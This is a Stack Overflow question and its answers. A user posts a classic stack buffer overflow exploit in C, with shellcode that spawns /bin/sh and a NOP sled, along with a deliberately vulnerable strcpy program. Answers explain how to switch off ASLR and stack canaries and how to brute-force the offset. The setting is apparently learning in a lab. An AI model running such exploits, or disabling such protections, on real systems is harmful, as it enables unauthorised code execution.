i want use C shell code to make buffer overflow and execute bin/sh

Question

I am try to make buffer overflow and run shellcode to execute bin/sh

A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612.

exploit3.c

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 

#define DEFAULT_OFFSET                    0 
#define DEFAULT_BUFFER_SIZE             512 
#define NOP                            0x90 
char shellcode[] =  
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
            "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

unsigned long get_sp(void) {   
    __asm__("movl %esp,%eax"); 

} 
void main(int argc, char *argv[]) {  
    char *buff, *ptr;  
    long *addr_ptr, addr;  
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;  
    int i; 
    if (argc > 1) 
        bsize  = atoi(argv[1]);  
    if (argc > 2) 
        offset = atoi(argv[2]);  
    if (!(buff = malloc(bsize))) {    
        printf("Can't allocate memory.\n");   
        exit(0);  
    }  
    addr = get_sp() - offset;  
    printf("Using address: 0x%lx\n", addr);  
    ptr = buff;  
    addr_ptr = (long *) ptr;  
    for (i = 0; i < bsize; i+=4)    
    *(addr_ptr++) = addr;  
    for (i = 0; i < bsize/2; i++)    
    buff[i] = NOP;  
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));  
    for (i = 0; i < strlen(shellcode); i++)    
        *(ptr++) = shellcode[i];  

    buff[bsize - 1] = '\0';  
    memcpy(buff,"EGG=",4);  
    putenv(buff);  system("/bin/bash"); 
}

vulnerable.c

#include <unistd.h>
#include <string.h>


int main(int argc, char *argv[])

{

char xbuff[512];



if(argc >1)

strcpy(xbuff, argv[1]);

return 0;

}

assembler code for function main

(gdb) disass main
Dump of assembler code for function main:
   0x0804840b <+0>: lea    0x4(%esp),%ecx
   0x0804840f <+4>: and    $0xfffffff0,%esp
   0x08048412 <+7>: pushl  -0x4(%ecx)
   0x08048415 <+10>:    push   %ebp
   0x08048416 <+11>:    mov    %esp,%ebp
   0x08048418 <+13>:    push   %ecx
   0x08048419 <+14>:    sub    $0x204,%esp
   0x0804841f <+20>:    mov    %ecx,%eax
   0x08048421 <+22>:    cmpl   $0x1,(%eax)
   0x08048424 <+25>:    jle    0x8048441 <main+54>
   0x08048426 <+27>:    mov    0x4(%eax),%eax
   0x08048429 <+30>:    add    $0x4,%eax
   0x0804842c <+33>:    mov    (%eax),%eax
   0x0804842e <+35>:    sub    $0x8,%esp
   0x08048431 <+38>:    push   %eax
   0x08048432 <+39>:    lea    -0x208(%ebp),%eax
   0x08048438 <+45>:    push   %eax
   0x08048439 <+46>:    call   0x80482e0 <strcpy@plt>
   0x0804843e <+51>:    add    $0x10,%esp
   0x08048441 <+54>:    mov    $0x0,%eax
   0x08048446 <+59>:    mov    -0x4(%ebp),%ecx
   0x08048449 <+62>:    leave  
   0x0804844a <+63>:    lea    -0x4(%ecx),%esp
   0x0804844d <+66>:    ret    
End of assembler dump.

Program is executed, but bin/sh is not called:

[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$

Expected output is:


[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$ exit
[aleph1]$

Something wrong ??!!

Second question : Why does exploit3.c run system("/bin/bash") at the end of main()?

Please don't vandalize your posts.

geisterfurz007
– geisterfurz007

2019-12-14 12:09:45 +00:00
Commented Dec 14, 2019 at 12:09 — geisterfurz007
– geisterfurz007, Commented Dec 14, 2019 at 12:09

Ctx · Accepted Answer · 2019-12-09 14:38:07Z

2

exploit3 runs a shell at the end, because it here

memcpy(buff,"EGG=",4);  
putenv(buff);

creates an environment variable with the data, that should overflow the buffer, which is valid in this shell:

system("/bin/bash");

If the program simply ended, the environment variable was "lost", because it is not passed magically to the calling process.

As for why the overflow doesn't work: This is hard to say, since the environments can differ very much. You could check the following:

the shellcode is for 32 bit, make sure that your environment is indeed 32 bit, too
make sure that address space randomization is not active for your OS (/proc/sys/kernel/randomize_va_space)
Use a debugger with a breakpoint at the end of main() (right before ret is executed) and check, where the shellcode is located now. Is the return address on the stack really overwritten with the correct value?

edited Dec 9, 2019 at 14:38

answered Dec 9, 2019 at 14:13

Ctx

18.6k24 gold badges38 silver badges56 bronze badges

Sign up to request clarification or add additional context in comments.

8 Comments

TSG Over a year ago

To further complicate matters, modern versions of compilers insert stack canaries by default. If you are not familiar with canaries, read this blog (0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085). To disable canaries, use the '-fno-stack-protector' option for gcc/clang

wafaa Over a year ago

i think the wrong in 612 (buffer size ) how i can detect the correct buffer size and offset [aleph1]$ ./exploit3 612 ?????

wafaa Over a year ago

@Ctx how i can detect the correct buffer size and offset [aleph1]$ ./exploit3 612 ?????

Ctx Over a year ago

@محمدالتميمي One way is to brute force it in 4-byte steps until it works. Another one is the last point I mentioned. Analyze the memory layout right before the return in the main function. A third method is, to disassemble the compiled program and determine the correct sizes and offsets from the instructions there. If you want, provide a disassembler dump of the main function in your question.

wafaa Over a year ago

@Ctx now, i provide a disassembler dump of the main function in my question

|

Dharman · Accepted Answer · 2019-12-15 10:36:48Z

-1

I remember a similar code from the Shellcoder’s Handbook.

The original GUIDE can be found here: http://www.ouah.org/lamagra-bof.txt

I tried that code on a 2.6.20-15generic (a VM machine downloaded from https://nostarch.com/hackingCD.htm), with randomize_va_space set to 0.

I had to remove the file "/tmp/.first_run" and it worked.I've also update the /etc/apt/sources.list and updated that release of Ubuntu (https://help.ubuntu.com/community/EOLUpgrades/Feisty)

The link below might be helpful somehow, it's a blog about the Errata and Notes for ShellCoder's Handbook.

http://shellcoders.blogspot.com/?m=1

edited Dec 15, 2019 at 10:36

Dharman♦

33.9k27 gold badges106 silver badges157 bronze badges

answered Dec 14, 2019 at 17:56

LianoQ

12 bronze badges

Collectives™ on Stack Overflow

i want use C shell code to make buffer overflow and execute bin/sh

2 Answers 2

8 Comments

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

2 Answers 2

8 Comments

Comments

Your Answer

Sign up or log in

Post as a guest

Related